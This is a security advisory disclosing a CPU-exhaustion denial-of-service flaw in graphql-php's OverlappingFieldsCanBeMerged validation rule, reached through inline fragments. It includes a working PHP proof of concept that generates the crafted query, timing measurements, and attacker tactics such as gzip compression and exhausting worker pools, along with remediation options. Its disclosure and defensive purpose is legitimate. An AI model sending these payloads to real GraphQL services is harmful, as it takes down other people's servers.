webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments

Summary

OverlappingFieldsCanBeMerged validation rule has O(n^2 x m^2) worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.

Affected Component

src/Validator/Rules/OverlappingFieldsCanBeMerged.php

Description

graphql-php is a PHP port of graphql-js and inherits the same OverlappingFieldsCanBeMerged algorithm. The rule performs an explicit O(n^2) pairwise comparison loop over fields collected for each response name (collectConflictsWithin), and recurses into sub-selections via findConflict. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to O(n^2 x m^2) where n and m are the number of inline fragments at the outer and inner levels respectively.

graphql-php includes a comparedFragmentPairs PairSet cache (the same class of memoization fix tracked under CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7), but it is keyed by named fragment identity. Inline fragments have no name; they are flattened into the parent $astAndDefs map by the case $selection instanceof InlineFragmentNode branch starting at OverlappingFieldsCanBeMerged.php:266, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.

This finding has been tested against the latest stable release webonyx/[email protected] running on PHP 8.3.30.

Root Cause

1. Pairwise O(n^2) loop (collectConflictsWithin)

// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306
$fieldsLength = count($fields);

if ($fieldsLength > 1) {
    for ($i = 0; $i < $fieldsLength; ++$i) {                             // line 311
        for ($j = $i + 1; $j < $fieldsLength; ++$j) {                    // line 312
            $conflict = $this->findConflict(
                $context,
                $parentFieldsAreMutuallyExclusive,
                $responseName,
                $fields[$i],
                $fields[$j]
            );
            // ...
        }
    }
}

count($fields) grows without bound when multiple inline fragments select the same response name in the same parent selection set.

2. Inline fragment flattening (internalCollectFieldsAndFragmentNames)

// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266
case $selection instanceof InlineFragmentNode:
    $typeCondition = $selection->typeCondition;
    $inlineFragmentType = $typeCondition === null
        ? $parentType
        : AST::typeFromAST([$context->getSchema(), 'getType'], $typeCondition);

    $this->internalCollectFieldsAndFragmentNames(
        $context,
        $inlineFragmentType,
        $selection->selectionSet,
        $astAndDefs,           // flattened into the parent map
        $fragmentNames
    );
    break;

N inline fragments selecting the same response name produce N entries in $astAndDefs[$responseName], which then trigger N*(N-1)/2 findConflict calls.

3. The named-fragment cache does not cover this code path

// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41
protected PairSet $comparedFragmentPairs;

// :54 (in __construct)
$this->comparedFragmentPairs = new PairSet();

PairSet is keyed by (fragmentName1, fragmentName2). Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.

4. No comparison budget, no validation timeout

There is no counter shared across collectConflictsWithin, collectConflictsBetween, and the recursive findConflict calls. The rule runs to completion regardless of cost. graphql-php exposes no validate_timeout equivalent.

Proof of Concept

<?php
// composer require webonyx/graphql-php:v15.31.4
require __DIR__.'/vendor/autoload.php';

use GraphQL\Language\Parser;
use GraphQL\Validator\DocumentValidator;
use GraphQL\Utils\BuildSchema;

$schema = BuildSchema::build('type Query { field: Node }  type Node { f: Node, g: Node, x: String }');

function gen(int $n, int $m): string {
    $inner = implode(' ', array_fill(0, $m, '... on Node { x }'));
    $outer = implode(' ', array_fill(0, $n, "... on Node { f { $inner } }"));
    return "{ field { $outer } }";
}

echo " N    M  | size      | validate ms | errors\n";
echo "---------|-----------|-------------|--------\n";
foreach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {
    $q = gen($n, $m);
    $doc = Parser::parse($q);
    $t0 = microtime(true);
    $errors = DocumentValidator::validate($schema, $doc);
    $elapsed = round((microtime(true) - $t0) * 1000);
    printf("%4d %4d | %7dB | %10d  | %d\n", $n, $m, strlen($q), $elapsed, count($errors));
}

Measured output on webonyx/[email protected], PHP 8.3.30, Linux x86_64

graphql-php version: v15.31.4
PHP version: 8.3.30

 N    M  | size      | validate ms | errors
---------|-----------|-------------|--------
  20   20 |    7653B |         71  | 0
  50   50 |   46113B |       2020  | 0
 100   50 |   92213B |       7762  | 0
 100  100 |  182213B |      29660  | 0
 150  100 |  273313B |      66052  | 0
 200  100 |  364413B |     117082  | 0

The growth confirms O(N^2) outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes 117 seconds of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.

Impact

• Default-on rule: OverlappingFieldsCanBeMerged is part of the rules registered by DocumentValidator::defaultRules() and is enabled by default in DocumentValidator::validate(). Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.
• Pre-execution: the cost is in the validation phase. QueryComplexity and QueryDepth rules cannot help: the example query has depth 3 and complexity 1.
• PHP max_execution_time hits the wall too late: a default Lighthouse/Laravel deployment ships with max_execution_time = 30 seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by max_execution_time, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.
• Body-size and WAF bypass via gzip: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.
• php-fpm worker pool exhaustion: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.
• Existing CVE-2023-26144 fix is insufficient: the published PairSet cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.

This is the same vulnerability class as CVE-2023-26144 (partially fixed by named-fragment memoization only) and CVE-2023-28867 (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.

Affected Versions

• webonyx/[email protected] (latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.
• All versions of webonyx/graphql-php that ship OverlappingFieldsCanBeMerged (effectively all 15.x and 14.x stable releases). They share the same code path and are believed vulnerable but were not retested individually.

Remediation

Three options ordered from best to minimal:

Option 1 -- Adopt the Adameit algorithm

Replace pairwise comparison with the uniqueness-check algorithm designed by Simon Adameit, used today by graphql-java (post CVE-2023-28867) and Sangria. The algorithm transforms conflict-freedom into a uniqueness requirement and runs in O(n log n) instead of O(n^2). See graphql/graphql-js issue #2185 for the design discussion and the Sangria PR #12 for the original implementation.

Option 2 -- Comparison budget

Add a comparison counter on OverlappingFieldsCanBeMerged shared across collectConflictsWithin, collectConflictsBetween, and the recursive findConflict calls. Throw a Error after a configurable threshold (for example 10,000 comparisons by default). This is the approach graphql-java implemented after CVE-2023-28867.

Option 3 -- Cap inline-fragment flattening

In internalCollectFieldsAndFragmentNames, cap count($astAndDefs[$responseName]) at a configurable limit (for example 1,000) and emit a validation error if exceeded. This is a narrower fix that targets the specific bypass path but does not address other potential O(n^2) surfaces.

Resources

• CVE-2023-26144 -- graphql-js (partial fix, named-fragment cache only)
• CVE-2023-28867 -- graphql-java (full fix via Adameit algorithm)
• graphql-js Issue #2185 -- Faster algorithm for OverlappingFieldsCanBeMerged
• Sangria PR #12 -- original optimised implementation
• GraphQL spec section 5.3.2 -- Field Selection Merging
• Companion advisory for this implementation: GraphQL\Language\Parser parser stack overflow via deeply nested queries (Unbounded recursion in parser causes stack overflow on crafted nested input).